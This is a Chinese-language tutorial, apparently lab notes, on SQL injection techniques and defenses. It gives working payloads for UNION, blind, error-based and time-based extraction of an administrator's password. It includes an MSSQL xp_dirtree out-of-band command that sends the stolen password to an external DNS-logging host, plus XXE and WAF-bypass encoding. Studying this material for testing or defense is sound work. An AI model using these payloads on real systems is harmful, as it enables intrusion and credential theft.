Chapter01-SQLi

发布于:2025-06-14 ⋅ 阅读:(20) ⋅ 点赞:(0)

1.SQLi 介绍

SQLi:服务端将用户输入拼接到SQL语句中执行,而未充分的过滤。

1.1 如何检测SQLi

对每个输入点手动测试:

  1. 单引号 ’ ,查看错误或其它异常
  2. 对于指定的传参值,如role=1,分析初始值和不同的值,寻找Web应用响应的差异
  3. 布尔条件,如OR 1=1 或 OR 1=2,比较Web应用响应差异
  4. 设计SQL查询延时的payload,比较响应时间
  5. OAST payload执行带外查询

或者使用扫描器快速找到大多数SQL注入漏洞:AWVS、NESSUS、NUCLEI、BurpSuite自带扫描器等,SQLMAP是专门的SQL注入扫描器。

1.2 SQLi可能产生的位置

查询类型 产生位置
SELECT WHERE子句
UPDATE VALUES(更新值)、WHERE子句
INSERT 插入的VALUES
SELECT TABLE NAME、COLUMN NAME
SELECT ORDER BY子句
HEAD 如cookie
其它任何潜在的输入点

1.3 UNION attacks

当Web应用的响应中有查询结果值时,可以尝试UNION关键字从数据库的其他表中查询数据。
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
这个SQL查询返回一个包含两列的结果集,a 列和 b列,其中c在a列中,d在b列中。
联合查询有效的条件:

  1. 每个查询必须返回相同的列(a、b和c、d)
  2. 每个列中的数据类型必须兼容(a和c的数据类型,b和d的数据类型必须兼容)
    兼容不是相同,NULL类型通常可以作为任意数据类型的占位符

因此,为了实现联合注入,需要找出

  1. 原始查询返回多少列
  2. 原始查询返回哪些列的类型匹配我们期望查询数据的类型

1.3.1 确定原查询返回的列数

有两种方式可以判断查询结果集的列数。

  1. 使用序列化的ORDER BY 子句,增加指定的列索引,按照结果中的不同列进行排序。当指定的列索引超过查询结果集中的列数目时,数据库报报错。
    ' ORDER BY 1 --
    ' ORDER BY 2 --
    ' ORDER BY 3 --
    etc. 
    
  2. 利用联合查询提交不同的payloads,指定不同的列数,直到数据不返回错误。
    ' UNION SELECT NULL--
    ' UNION SELECT NULL,NULL--
    ' UNION SELECT NULL,NULL,NULL--
    etc.
    
    注意:NULL可能触发不同的错误,如NullPointerException,空指针异常,如果其它报错和NULL数量不匹配的报错相同,那么这种方法就失效了。
    在这里插入图片描述
    在上面的图片中,查询到了一个NULL行。
    查询到的列并不一定全部在网页回显
    在这里插入图片描述
    如图,其中一个查询参数10086是作为产品ID传参的。

不同数据库的语法不同,例如,Oracle要求,SELECT查询必须使用FROM关键字指定有效的表。Oracle内置了一个dual表,用于满足查询语句的规范。如:
' UNION SELECT NULL FROM DUAL--
在MySQL数据库中,--注释必须跟上一个空格,或使用#标识注释
不同数据库的SQLi语法

1.3.2 找到有用数据类型的列

在确定列的数量后,可以分析是否存在期望数据类型的列(通常为字符串类型),因此,可以对NULL占位符依次尝试替换。

' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--

一旦网页正常显示,那么说明数据类型是匹配的。

1.3.3 合并多个值到一个列中

当我们需要返回多个查询值时,可能会面临回显位不足的问题,即原查询的返回列数 < 我们需要查询的列数。
此时,可以将多个值拼接为一个查询结果,并用分隔符区分。如,Oracle可以使用' UNION SELECT username || '~' || password FROM users-- ,双管道符| |是Oracle是字符串连接操作符。不同数据库的字符串拼接操作不同。
在这里插入图片描述
在上图中,找不到能匹配的实际类型,于是只能保留NULL占位符,将两个查询结果合并。也可以用子查询,每次查询一个内容。

1.4 识别目标数据库

要利用SQLi,通常需要找到有关数据库的信息,如:

  1. 数据库的类型和版本
  2. 数据库包含的表和列

可以通过特定的查询语句确定数据库类型和版本,如:

MSSQL、MySQL:	SELECT @@VERSION
Oracle:		SELECT * FROM v$version
PostgreSQL:	SELECT version()

在这里插入图片描述
有时候%20会被过滤,需要使用+表示空格

大多数数据库(Oracle除外)都有一组关于数据库信息(表、列、索引等)的虚拟数据库(information schema)。
如:SELECT * FROM information_schema.columns WHERE table_name='users',输出表中的列信息。
以两个回显位为例,查询库中的表名:

SELECT table_name, NULL from information_schema.tables;正确写法
SELECT (SELECT table_name from information_schema.tables), NULL;错误写法

第二个写法,无法保证子查询和主查询的返回行数相同,需要借助分页保证查询一行

1.5 SQL盲注

SQL查询的结果不会返回给用户,但是根据是否成功,Web应用的响应会不同。如:
Cookie:TrackingId=u5YD3PapBcR4lN3e7Tj4,在后端可能执行
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4',如果注入成功,那么就成功登录目标网站。
这也是为什么消息头也要进行注入或其它漏洞利用尝试的原因
以users表中存储username和password,其中一个用户为administrator为例,可以通过盲注,逐个确认每个密码的字符
SUBSTRING((SELECT password FROM users WHERE username='administrator'), 1, 1) = t,如果第一个字符等于t,那么查询就为真。SUBSTRING在不同数据库的用法不同。
Step1:在这里插入图片描述
爆破得到密码长度,20
Step2:在这里插入图片描述
逐个字符ASCII码暴力破解

1.6 报错注入

通过错误信息回显SQL语句执行的结果。

  1. 使用布尔表达式,来利用盲注
  2. 触发错误消息,输出查询返回的数据。将原本不可见的注入漏洞变为了可见的漏洞。

布尔注入、布尔型盲注依赖于Web网站对查询结果的显示有变化(查询成功/查询失败)。如果Web网站对查询是否返回数据,行为都一致,无法通过查询结果判断注入是否成功。那么,可以考虑触发数据库错误,如果Web应用应对错误消息的处理有差异,那么可以利用报错来判断真假。
例如:

(SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a'
(SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a'

第一个语句,结果为真,第二个语句触发了1/0除零错误。如果错误导致Web应用的HTTP响应出现了差异,那么可以利用报错注入来判断条件是否为真。
案例步骤:打开某网站,点击功能,尝试在输入点SQL注入,这里知道注入点在cookie,因此跳过了提交参数的注入尝试

1.6.1 报错注入示例

  1. 尝试单引号、双引号,检查网页状态
    在这里插入图片描述
    在这里插入图片描述
    发现插入单引号时,网页报错;插入双引号,网页正常输出。这是因为双引号能够闭合前后两个单引号,即 'cookie' '',使用单引号+注释的效果相同,'cookie' --

  2. 发现网页会报错后,检测错误类型(是SQL报错,还是其它),通过输入错误的SQL语句,来判断是否是因为SQL执行错误导致的网页报错在这里插入图片描述
    在这里插入图片描述
    通过字符串拼接,执行SQL语句,确认这是Oracle数据库,需要严格规范语法(借助dual为select指定可预测的表名)

  3. 有效查询网页正常显示,接下来提交一个无效查询,同时保留有效的SQL语法(尝试查询不存在的表名在这里插入图片描述
    报错,说明服务器将注入当作SQL语句执行。
    这样做的原因是,字符串拼接需要先执行完子查询,如果子查询失败,表达式就无法完成运算,从而导致报错

  4. 此时可以通过注入正确语法的SQL查询,来根据错误响应推断数据库的关键信息。
    在这里插入图片描述
    通过定义条件判断,来分析数据库信息

  5. 然后我们可以爆破表名、爆破字段、爆破数据,由于本题给出了users表用户administrator,直接爆破密码即可,length(password)爆破长度,ascii(substr())爆破具体字符值
    注意:这里的ascii()不是必须的,我们只需要提前定义好单字符wordlists就行了
    在这里插入图片描述
    SELECT CASE WHEN(LENGTH(password)=20) THEN TO_CHAR(1/0) ELSE '' FROM users WHERE username='administrator'
    以上语句的执行:CASE WHEN(conditional) THEN columns决定了是否触发除零导致报错。在CASE WHEN条件中可以直接使用查询表users的字段。
    爆破得到密码长度20,最后爆破每个字符值
    ' || SELECT CASE WHEN(SUBSTR((password), $m$, 1)= '$a$') THEN TO_CHAR(1/0) ELSE '' FROM users WHERE username='administrator'值得一提的是,该爆破字段中,' 和 %也会导致报错,这是因为,'导致了闭合问题;%被视为了通配符,直接提取ASCII码就没有这个问题

1.6.2 通过SQL error messages 获取敏感数据

数据库的错误配置有时会导致冗长的错误信息,可能提供对攻击者有利的信息。
CAST()函数允许将一种数据类型转换为另一种数据类型,例如,通常我们期望茶韵一个字符串,尝试将其转化为int回显会导致报错,此时,报错信息有可能包含我们期待的内容。

CAST((SELECT example_data FROM example_table) AS int)
ERROR: invalid input syntax for type integer: "EXAMPLE DATA"
其中,EXAMPLE DATA就是我们查询的内容

在这里插入图片描述
通过插入单引号,发现给出了详细的报错信息。即使不存在SQLi,报错信息过于详细也可以视为低危漏洞。
在这里插入图片描述
排除Oracle数据库,没有dual虚拟表,使用MySQL和MSSQL语法尝试。
在这里插入图片描述
我们可以先逐个查询username,找出我们需要的哪一个;这里SQL查询有长度限制,尝试删除一些cookie字段查询
在这里插入图片描述
查询得到用户名和密码

'|| CAST((SELECT username FROM users) AS int)
除了上面的形式,更常见的是将转换后的int与1比较,查询字符串,就触发转换错误
' 1=CAST((SELECT username FROM users)AS int)

1.7 延时盲注

如果Web应用安全地处理了数据库错误,那么不会在响应有任何区别,这意味着基于条件的报错盲注失去作用。此时可以将注入条件改为判断SQL查询是否触发时间延迟。
SQL查询通常由Web应用同步处理,因此SQL的执行会增加HTTP响应时间
例如,在MSSQL数据库中

';IF (1=2) WAITFOR DELAY '0:0:10'--
';IF (1=1) WAITFOR DELAY '0:0:10'--

第二个SQL查询会触发延时
在这里插入图片描述
上图为延时盲注的payload,经过排除,将数据库确认为PostgreSQL%3B是 ;,请求头传参无法直接传递分号,'+'是空格,通过分号分割的SQL语句的执行触发
%3BSELECT+CASE+WHEN+(LENGTH(password)=$1$)+THEN+pg_sleep(10)+ELSE+ps_sleep(0)+END+FROM users--
查询密码长度后,逐个爆破具体值

%3B SELECT CASE WHEN (username='admin' AND SUBSTR(password, m, 1)=n)
 THEN pg_sleep(10) ELSE pg_sleep(0) FROM users;

这里加上username='admin'的判断,防止查询其他用户密码

1.8 带外注入 out-of-band(OAST)

Web应用可能异步执行请求,如在原始线程处理用户的请求,在另一个线程执行验证cookie的SQL查询。此时,Web应用可能存在SQLi漏洞,但是没有任何的回显。
在这种情况下,可以触发带外网络交互利用盲注。
各种网络协议都可以用于带外注入,通常DNS是最有效的,许多生产系统的正常操作都需要DNS查询。
除了一些DNSlog平台,burp suite自带的collaborator是一个各种网络服务(包括DNS)的自定义服务器,此外我们可以自己搭建DNSlog平台。
触发DNS查询的方法依赖数据库类型,如对于SQL Server,可以对指定域进行DNS查找:
exec master..xp_dirtree '//lj8bw8zoka4nb9dsywurdiu8yz4qsgg5.oastify.com/a--',这将导致数据库查询该域名lj8bw8zoka4nb9dsywurdiu8yz4qsgg5.oastify.com。

示例:将SQLi联合注入与XXE结合使用

' UNION SELECT EXTRACTVALUE(
xmltype(
<%3fxml version%3d"1.0" encoding%3d"UTF-8"%3f>
<!DOCTYPE root [ <!ENTITY %25 reomote SYSTEM "http://DNSlog/" %25remote%3b]>'),'/l') FROM dual--

EXTRACTVALUE()是MySQL的XML处理函数,用于从XML字符串中提取数据。~、!是非法XPath字符,因此该函数也常用于报错注入
在确认可以触发带外注入时,就可以利用带外通道泄露信息,如:

';闭合前查询
declare @p varchar(1024); 声明变量,用于存储窃取的数据
set @p=(SELECT password FROM users WHERE username='administrator');
exec('master..xp_dirtree "//'+@p+'.DNSlog/a"')--

OAST在检测和利用SQL盲注方面的成功率相对较高
在这里插入图片描述
上图通过字符串拼接,将password查询结果作为DNSlog的子域名传递信息

1.9 不同上下文的SQLi

在任意格式的输入点,都可以尝试SQLi
例如:某些Web应用接收JSON、XML等格式的输入,并使用输入查询数据库。
这些不同的格式可以提供不同的方法绕过WAF等防御的过滤,通常在请求中屏蔽SQL关键字。
而我们可以通过编码或转义字符来绕过WAF,如,利用XML转义序列对S字符编码。

<stockCheck>
    <productId>123</productId>
    <storeId>999 &#x53;ELECT * FROM information_schema.tables</storeId>
</stockCheck>

BurpSuite的Hackvector扩展可以帮助编码。

Step1:看到输入点就进行SQLi的尝试
在这里插入图片描述
Step2:尝试联合注入(依次尝试其他方式),直接查询被识别为攻击
在这里插入图片描述

Step3:使用BurpSuite的Hackvertor插件,十六进制编码外部实体。
在这里插入图片描述

1.10 二阶SQLi

在这里插入图片描述
如图所示:二阶SQLi的含义是
1)后端安全处理输入,并将其存储在数据库中
2)后续其他操作触发payload

2.SQLi防御

  1. 使用参数化查询能够防止大多数SQLi,例如
    PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
    statement.setString(1, input);
    ResultSet resultSet = statement.executeQuery();
    
  2. 参数化查询能够处理INSERT、SELECT、UPDATE等语句中的值,但无法处理其它的一些不可信数据,如表、列名、或ORDER BY 子句。此时,需要采取额外的方法防范。如
    • 白名单限制允许输入的值
    • 使用不同的逻辑实现所需的行为

使用参数化查询防范SQLi,必须保证查询中的字符串是硬编码常数,不能包含任何来源的任何变量数据。默认用户输入完全不可信

3.总结

  1. 联合注入、盲注(布尔盲注、报错盲注、延时盲注)、带外注入、堆叠注入、二阶注入。
    这里面没有写宽字节注入:利用多字符编码,如GBK两字节编码的特性,吞掉单字符编码的转义字符。%df\->%df5c在GBK中是汉字。
  2. 在任何输入点:GET、POST(常规传参、JSON、XML等)、HEAD(cookie等)都可以尝试注入
  3. 联合注入结合XXE的写法还需要在实践中学习
  4. 参数化查询可以防御大多数的SQLi,要对参数化的语句硬编码常数,而不能信任用户的任何输入。
  5. 四种常见数据库的注入语法